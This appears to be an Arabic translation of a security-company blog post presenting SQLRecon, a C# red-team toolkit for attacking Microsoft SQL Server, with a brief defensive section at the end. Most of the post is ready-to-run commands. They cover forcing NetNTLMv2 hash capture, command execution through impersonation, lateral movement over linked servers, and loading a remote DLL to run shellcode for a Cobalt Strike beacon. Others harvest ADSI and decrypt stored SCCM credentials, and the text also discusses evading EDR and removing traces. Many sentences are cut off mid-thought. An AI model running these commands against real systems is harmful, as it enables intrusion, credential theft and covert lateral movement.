على مدار مسيرتي المهنية، حظيت بفرصة مميزة للاطلاع على ما يدور خلف الكواليس في عدد من أكبر المؤسسات في العالم. وبناءً على خبرتي، تعتمد معظم المجالات على شبكات Windows الخاصة بالمؤسسات. في الواقع، يمكنني العد على أصابع اليد الواحدة عدد المرات التي رأيت فيها شبكة لامركزية ذات ثقة صفرية، أو شبكة Linux مؤسسية، أو شبكة macOS، أو بديل Active Directory (FreeIPA).
وفي أثناء استكشافي لهذه الشبكات المؤسسية الكبيرة والمعقدة في كثير من الأحيان، كان من الشائع اكتشاف خوادم Microsoft SQL Server، والتي عادةً ما تُنشر لدعم وظيفة من وظائف الأعمال. بالنسبة إلى القراء الذين لا يعرفون SQL Server، هو باختصار برنامج قاعدة بيانات علائقية عادةً ما يُجرى تثبيته على خادم Windows. الغرض الأساسي من SQL Server هو تخزين البيانات وتوفيرها للتطبيقات أو المستخدمين.
سيتناول منشور المدونة هذا نطاق الهجوم الذي يتيحه SQL Server، وكيفية استغلال الأخطاء في التكوينات والثغرات الأمنية باستخدام أداة X-Force Red
لقد وُثقت الثغرات الأمنية والتكوينات الخاطئة الموجودة في SQL Server بشكل جيد. وعلى الرغم من أن نقاط الضعف هذه موجودة دائمًا على ما يبدو، إلا أنه بطريقة ما لا تزال الفرق الدفاعية تتجاهل تعزيز أمان SQL Server في كثير من الأحيان. وهنا أشير بشكل أساسي إلى تعزيز أمان التكوينات الأساسية ومنع الوصول السهل إلى الخدمة.
أحد المبررات المنطقية لهذا التجاهل هو أن هناك مخاطر أكبر تحتاج المؤسسة إلى إعطاء الأولوية لها والتصدي لها. ونتيجة لذلك، يسقط تعزيز أمان SQL Server من حساباتهم، حيث قد يؤدي التلاعب بتكوينات قواعد البيانات الإنتاجية إلى مشكلات في التوافر، والتي قد تتحول إلى مشكلات تشغيلية وتؤثر في النهاية في إنتاجية الأعمال.
النشرة الإخبارية الخاصة بالمجال
ابقَ على اطلاع دائم على أبرز الاتجاهات في مجالات الذكاء الاصطناعي، والأتمتة، والبيانات، وغيرها الكثير من خلال رسالة Think الإخبارية. راجع بيان الخصوصية لشركة IBM.
سيصلك محتوى الاشتراك باللغة الإنجليزية. ستجد رابط إلغاء الاشتراك في كل رسالة إخبارية. يمكنك إدارة اشتراكاتك أو إلغاء اشتراكك من هنا. لمزيد من المعلومات، راجع بيان خصوصية IBM.
واحدة من أكثر التكوينات الخاطئة شيوعًا التي أراها دومًا في الشبكات المؤسسية هي إمكانية اتصال أي كائن نطاق معتمد بخدمة SQL كحساب منخفض الامتيازات. وهذا لا يتطلب سوى سياق نطاق صالح. بمعنى آخر، رمز مميز صالح لمستخدم النطاق أو حساب كمبيوتر النطاق.
ولتوضيح مثال على ذلك، إذا تعرض جهاز عمل مستخدم أعمال عادي للاختراق وكان هناك مسار شبكة يوصل إلى SQL Server ذي تكوينات خاطئة، فمن الممكن للخصم أن يفعل ما يلي:
هذه مجرد أمثلة على ما يمكن أن يحققه الخصم عند تقييم خادم SQL Server ذي تكوينات خاطئة ضمن سياق النطاق. نطاق الهجوم الذي يتيحه SQL Server سيعتمد دائمًا على البيئة والتكوينات التي ستتعامل معها.
في الآونة الأخيرة، كان مشغلو هجمات الفريق الأحمر محظوظين بتنوع هجمات Active Directory التي يمكن استغلالها لزيادة الامتيازات في شبكات Microsoft المؤسسية. ومع ذلك، مع بدء فرق الدفاع في السيطرة على هذه الثغرات الأمنية، من الطبيعي أن تتقلص سبل زيادة الامتيازات من خلال هجمات Active Directory.
لكن ما زلنا نواصل مسيرتنا ونشق طريقنا في قائمة الهجمات المعروفة، ونبحث بتفاؤل عن مسارات لزيادة الامتيازات تساعدنا على العمل على تحقيق أهدافنا. أنا متردد نوعًا ما في الاعتراف بأنه لفترة طويلة، كانت مهاجمة SQL Server في أسفل القائمة بالنسبة لي. فبدلاً من ذلك، اخترت إعطاء الأولوية لأشياء مثل مساحات التخزين المشتركة، وتطبيقات الويب الداخلية، وأدوات عمليات التطوير، أو البنية التحتية للسحابة. ربما يمكنك تخمين ما أقصده بذلك ...
في فترة ما من عام 2022، كنت في مهمة ووصلت إلى نقطة تعثر بعد استنفاد جميع المسارات المفضلة لزيادة الامتيازات. ويرجع هذا إلى حد كبير إلى البيئة المعززة أمنيًا بشكل استثنائي. على الأقل، هذا ما كنت أعتقده قبل أن أكتشف مجموعة كبيرة من SQL Server، والتي لابد أن يكون فيها تكوينات خاطئة أو ثغرات أمنية.
وما لم أكن أعلمه في ذلك الوقت، وبعد كتابة منشور المدونة هذا، اكتشفت أن Kaspersky توصلت إلى أن الهجمات المتكررة باستخدام SQL Server قد زادت بنسبة 56% في عام 2022. وهذه نسبة هائلة.
بصفتي مشغل هجمات الفريق الأحمر، غالبًا ما أتفاعل مع الأنظمة التي اخترقتها في شبكات عملائنا باستخدام إطار عمل للقيادة والتحكم (C2). عادةً ما يكون لدى العملاء الذين نحظى بالعمل معهم برامج أمن إلكتروني متطورة، وفرق دفاعية ذات إمكانات فائقة، وضوابط أمنية حديثة مثل حلول اكتشاف نقاط النهاية والاستجابة لها (EDR).
توجد العديد من الأدوات المطورة على مر السنين لمهاجمة SQL Server. لكن الذي كنت ألجأ إليها دومًا خلال أيام اختبار الاختراق هي
يمكن أن تكون حلول اكتشاف نقاط النهاية والاستجابة لها خصمًا قويًا لأنها تؤدي دورًا رائعًا في اكتشاف الأدوات مفتوحة المصدر الخبيثة والمصممة لأغراض أمنية هجومية، خاصةً تلك التي تعتمد على PowerShell. وهذا لا يعني التقليل من شأن أدوات PowerShell لما بعد الاستغلال، فهي تخدم غرضًا معينًا، ولكنها ليست مناسبة للمشكلة التي كنت أواجهها في البيئة التي كنت فيها.
كانت المشكلة التي واجهتها في مهمتي هي أنني كنت بحاجة إلى إيجاد طريقة للاتصال بخوادم Microsoft SQL Server والبدء في فحصها لتحديد ما إذا كان هناك أي تكوينات خاطئة أو ثغرات أمنية. لكن، كان استخدام أي من أدوات SQL Server المتوفرة لما بعد الاستغلال، والتي تعتمد على PowerShell، وسيلة مؤكدة للوقوع في قبضة فريق الدفاع. ويرجع ذلك إلى عدة أسباب، لن أتطرق إليها بتفصيل كبير، لكن PowerShell ليست الخيار المثالي لتنفيذ هجمات ما بعد الاستغلال بسبب المزايا الأمنية مثل AMSI، ووضع اللغة المقيد، وأنماط التسجيل المختلفة. ويزداد هذا الأمر تعقيدًا عندما يكون هناك حل لاكتشاف نقاط النهاية والاستجابة لها وضوابط تسجيل ومراقبة أخرى مطبقة.
وكحل بديل، غالبًا ما يلجأ مشغلو هجمات الفريق الأحمر إلى اختيار C# كلغة لتطوير أدوات ما بعد الاستغلال، نظرًا إلى أنها توفر طريقة سهلة للتفاعل مع إطار عمل .NET إلى جانب واجهات برمجة تطبيقات Windows.
أنا لست مطور C# أو .NET بأي حال من الأحوال، لكنني لدي المعرفة الكافية لكتابة أدوات تحل المشكلة التي أواجهها. قائمة الانتظار ، وهي مجموعة أدوات C# SQL مصممة للاستطلاع الهجومي وعمليات ما بعد الاستغلال.
مزود المصادقة
وحدات التعداد
تنفيذ الأوامر والحركة الجانبية وزيادة الامتيازات
الأمن التشغيلي
أخرى
للحصول على معلومات مفصلة عن استخدام كل تقنية، يُرجى الرجوع إلى الويكي.
تمهيدًا للعروض التوضيحية القادمة، سأشغل جهاز Windows 10 مخترق ملك Jeff Smith
جهاز Jeff لديه مسار شبكي للاتصال بثلاثة خوادم SQL Server، كل منها يعمل بإصدار مختلف؛ 2016، و2019 و2022.
تم تكوين رابط SQL بين
بالإضافة إلى ذلك، يوجد رابط Active Directory Services (ADSI) بين
وأخيرًا، يتصل نطاق
الشكل 1: تكوين الشبكة
وأيضًا، سأستخدم Cobalt Strike، وهو إطار عمل شهير للقيادة والتحكم، لأداء مهام ما بعد الاستغلال من جهاز Jeff المخترق
الشكل 2: إصدار الأمر whoami
في وقت كتابة هذا المقال،SQLRecon، يوجد اسم SPN معيّن لحسابين مختلفين، وهذا موضح في لقطة الشاشة أدناه.
SQLRecon.exe /e:SqlSpns /d:kawalabs.local
الشكل 3: اكتشاف خوادم SQL Server من خلال جمع SPN
يتم
SQLRecon.exe /a:WinToken /h:SQL02 /m:info
الشكل 4: الحصول على معلومات حول SQL02
تحية إلى Daniel Duggan (@_RastaMouse) على إسهاماته في وحدات التعداد في
تُستخدم الوحدات القياسية مع مثيل واحد من SQL Server.
في المثال التالي، أستخدم مزود المصادقة
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami
الشكل 5: تعداد امتيازات SQL للمستخدم
بشكل افتراضي، سيتصل
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases
الشكل 6: تعداد قواعد البيانات
يمكنك الاتصال بقواعد البيانات الأخرى عن طريق تحديد اسم قاعدة البيانات باستخدام العلامة /
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"
الشكل 7: الحصول على بيانات بطاقة وهمية من
بالنظر إلى بعض الوحدات الأكثر أهمية، تدعم
SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects
الشكل 8: حقن مسار UNC
في لقطة الشاشة التالية، يمكننا رؤية الاتصال الذي يجريه
الشكل 9: الحصول على تشفير NetNTLMv2 لحساب
SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe
الشكل 10: عرض توضيحي لضابط يمنع عملية تنفيذ الأوامر من الحدوث
كما هو موضح في الصورة أعلاه، واجهنا ضابط استخدام، وتلقينا رسالة خطأ تشير إلى أن
SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp
الشكل 11: عرض توضيحي لضابط آخر، حيث تمنع الامتيازات غير الكافية تنفيذ الأوامر
كما هو متوقع، واجه الحساب منخفض الامتيازات
انتحال هوية SQL هو إذن خاص يُمكّن مستخدم أو مجموعة بشكل أساسي من العمل بإذن مستخدم آخر، بالإضافة إلى أذوناته الخاصة. لقطة الشاشة التالية مأخوذة من تكوين واجهة
الشكل 12:
SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate
كما هو موضح في لقطة الشاشة أدناه، يمكن لحساب المستخدم
الشكل 13: تعداد الحسابات التي يمكن انتحال هويتها على
لتوضيح وحدة أخرى لتنفيذ الأوامر، يمكن أن تنفذ
تُضاف إلى وحدات انتحال الهوية دائمًا الحرف
a:WinToken /h:SQL02 /i:sa /m:iEnableOle
الشكل 14: تمكين إجراءات أتمتة OLE باستخدام انتحال الهوية
الآن، بعد تمكين إجراءات الأتمتة OLE على
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"
الشكل 15: استخدام PowerShell لإدراج محتويات مجلد على مضيف بعيد
كما هو موضح في لقطة الشاشة أعلاه، يُنشأ كائن وطريقة OLE بشكل عشوائي، ثم يُنفذ الأمر الخبيث، وتُدمر كائنات OLE. وهذا أمر مقصود؛ لأننا لا نريد أن نترك أي دليل على أفعالنا.
في لقطة الشاشة التالية، يمكننا رؤية الاتصال الذي يجريه حساب المستخدم
الشكل 16: الحصول على تشفير NetNTLMv2 لحساب
يوضح المثال التالي استخدام انتحال الهوية لتنفيذ أمر
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist
الشكل 17: تمكين
ومن الممارسات الجيدة دائمًا إعادة التكوينات إلى الحالة التي كانت عليها في الأصل.
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp
الشكل 18: تعطيل إجراءات أتمتة OLE و
الشكل 19:
غالبًا ما يتطلب تكوين رابط من مثيل SQL Server إلى أخر مجموعة من بيانات الاعتماد ذات الامتيازات لإنشاء رابط ووصله. وهذا مفيد للخصوم لأنه يسمح بتنفيذ الأوامر على SQL Server المتصل في سياق الحساب الذي أنشأ الاتصال. ثمة نقطة أخرى ينبغي أن تؤخذ في الحسبان وهي أن الخوادم المتصلة قد تكون مفصولة عن الشبكة التي يعمل عليها الخصم. وذلك قد يتيح الفرصة لاجتياز حدود الانفصال والدخول إلى منطقة شبكة ذات متطلبات أمنية أعلى.
SQLRecon.exe /a:WinToken /h:SQL02 /m:links
الشكل 20: تعداد خوادم SQL المتصلة على
يُضاف دائمًا إلى الوحدات المتصلة الحرف
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami
الشكل 21: تعداد امتيازات SQL التي يمكننا افتراضها على
كما هو موضح في لقطة الشاشة أعلاه، فإننا نعمل في سياق
جميع وحدات التنفيذ في
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr
الشكل 22: تمكين تكامل CLR على
يسمح تكامل CLR باستيراد تجميعات .NET المخصصة إلى SQL Server. تُخزن هذه التجميعات داخل إجراء مُخزن قبل تنفيذها. وهذه بيانات بدائية جيدة لهجوم الحركة الجانبية.
في لقطة الشاشة التالية، أُنشئ تجميع .NET مخصص ومتوافق مع SQL Server CLR يُسمى
الشكل 23:
إذا كنت مهتمًا بمعرفة المزيد حول تجميعات .NET المخصصة والمتوافقة مع SQL Server CLR، تفضل بزيارة قسم Clr في
في العرض التوضيحي التالي، رفعت
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode
الشكل 24: الحصول على إشارة Cobalt Strike في سياق
بالطبع، المثال السابق يتطلب أن يكون لدى
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode
الشكل 25: الحصول على إشارة Cobalt Strike في سياق
الشكل 26:
لا يتطلب تكوين رابط ADSI من مثيل SQL Server إلى وحدة التحكم في نطاق Active Directory بالضرورة بيانات اعتماد ذات امتيازات. ومع ذلك، خلال العمليات الواقعية، رأيت حالات لم يُطبق فيها مبدأ الحد الأدنى من الامتيازات.
في المثال التالي، أستخدم مزود المصادقة
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks
الشكل 27: تعداد الروابط
الآن بعد أن تأكدنا من وجود رابط ADSI على
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103
الشكل 28: هجوم جمع بيانات اعتماد ADSI باستخدام الرابط المزدوج
تأتي أهم إضافات
سأشير ببساطة إلى كل من ECM وSCCM باسم SCCM من الآن فصاعدًا.
في المثال التالي، أستخدم وحدة قواعد البيانات لتعداد
SQLRecon.exe /a:WinToken /h:MECM01 /m:databases
الشكل 29: تعداد قواعد البيانات على
كما يظهر في لقطة الشاشة أعلاه، توجد قاعدة بيانات
يُضاف دائمًا إلى وحدات SCCM الحرف
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
الشكل 30: تعداد جميع المستخدمين الذين يمكنهم تسجيل الدخول إلى SCCM عبر قاعدة بيانات SCCM SQL Server
من الممكن أيضًا تعداد المهام التي جرى تكوينها في SCCM باستخدام
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
الشكل 31: تعداد المهام التي جرى تكوينها في SCCM عبر قاعدة بيانات SCCM SQL Server
عادة ما يحتاج SCCM إلى تخزين بيانات الاعتماد، والتي تُستخدم للمصادقة على الأنظمة أو الموارد في بيئة معينة لنشر حزم البرمجيات أو تنفيذ أي من الإجراءات المختلفة الأخرى التي يوفرها SCCM. باستخدام وحدة
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials
الشكل 32: الحصول على بيانات الاعتماد المخزنة عبر قاعدة بيانات SCCM SQL Server
في لقطة الشاشة أعلاه، يمكننا أن نرى أن إحدى بيانات الاعتماد جرى تخزينها، وهي بيانات الاعتماد خاصة بحساب
باستخداممنطقAdam Chester( @_xpn_)، يمكن فك تشفير بيانات اعتماد SCCM المخزنة والحصول على كلمة مرور غير مشفرة للحسابات المخزنة. يتطلب هذا امتيازات المسؤول المحلي على خادم SCCM. في لقطة الشاشة التالية، أستخدم حساب
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials
الشكل 33: فك تشفير بيانات اعتماد SCCM المخزّنة
لمنع المهاجمين من استغلال SQL Server، يمكن للمدافعين اعتماد نهج متعدد الطبقات عند تنفيذ ضوابط الأمان. أولًا وقبل كل شيء، أنصح بشدة بقراءة الإرشادات الرسمية من Microsoft حول أفضل ممارسات أمن SQL Server.
الخطوة التالية يجب أن تكون توجيهات الوقاية والكشف والحد من المشكلات الموجودة في
ينبغي أن تؤخذ الضوابط الأمنية التالية في الحسبان لتنفيذها على مستوى الشبكة.
أجهزة العمل والخوادم في البيئة.
لا تزال الهجمات على SQL Server متصدرة في مجال الأمن الإلكتروني اليوم. يعمل الخصوم دومًا على تطوير تقنياتهم لاختراق ضوابط الحماية، ولهذا يستغلون بشكل متزايد الخدمات الإضافية مثل SQL Server. وقد أصبحت هذه الهجمات أكثر تطورًا وخفية، وغالبًا ما تستخدم تقنيات أقل شهرة لتجاوز التدابير الأمنية التقليدية.
من خلال استغلال SQL Server، يمكن للخصوم الحصول على إمكانية وصول غير مصرح بها إلى البيانات الحساسة، والتلاعب بقواعد البيانات، بل حتى اختراق الأنظمة بأكملها. ويمكن أن تكون عواقب هذه الهجمات وخيمة، ما يؤدي إلى حوادث اختراق أمن البيانات، وخسائر مالية، وأضرار تلحق بسمعة المؤسسة.
لتقليل مخاطر هذه الهجمات، ينبغي للمؤسسات مراجعة تكوينات SQL Server وتبني أفضل الممارسات الأمنية. علاوة على ذلك، يجب على المؤسسات الاستثمار في حلول أمنية توفر إمكانات المراقبة الفورية، واكتشاف الحالات الشاذة، وتحليل السلوك. يمكن لهذه الحلول أن تساعد على اكتشاف الهجمات والاستجابة لها بشكل أكثر فعالية، ما يقلل من التأثير المحتمل على البيانات والأنظمة الحساسة. ومن خلال اتخاذ تدابير استباقية لتأمين بيئات SQL Server، يمكن للمؤسسات تقليل خطر الوقوع ضحية لهذه الهجمات بشكل كبير وحماية أصول بياناتها القيمة.
يمكنك دائمًا العثور على أحدث إصدار مستقر من
إذا كنت ستحضر مؤتمر Black Hat Las Vegas وكنت مهتمًا بمعرفة المزيد، فيمكنك حضور جلستي: اختراق Microsoft SQL Server باستخدام SQLRecon يوم الخميس 10 أغسطس في الساعة 1:00 ظهرًا بتوقيت المحيط الهادئ.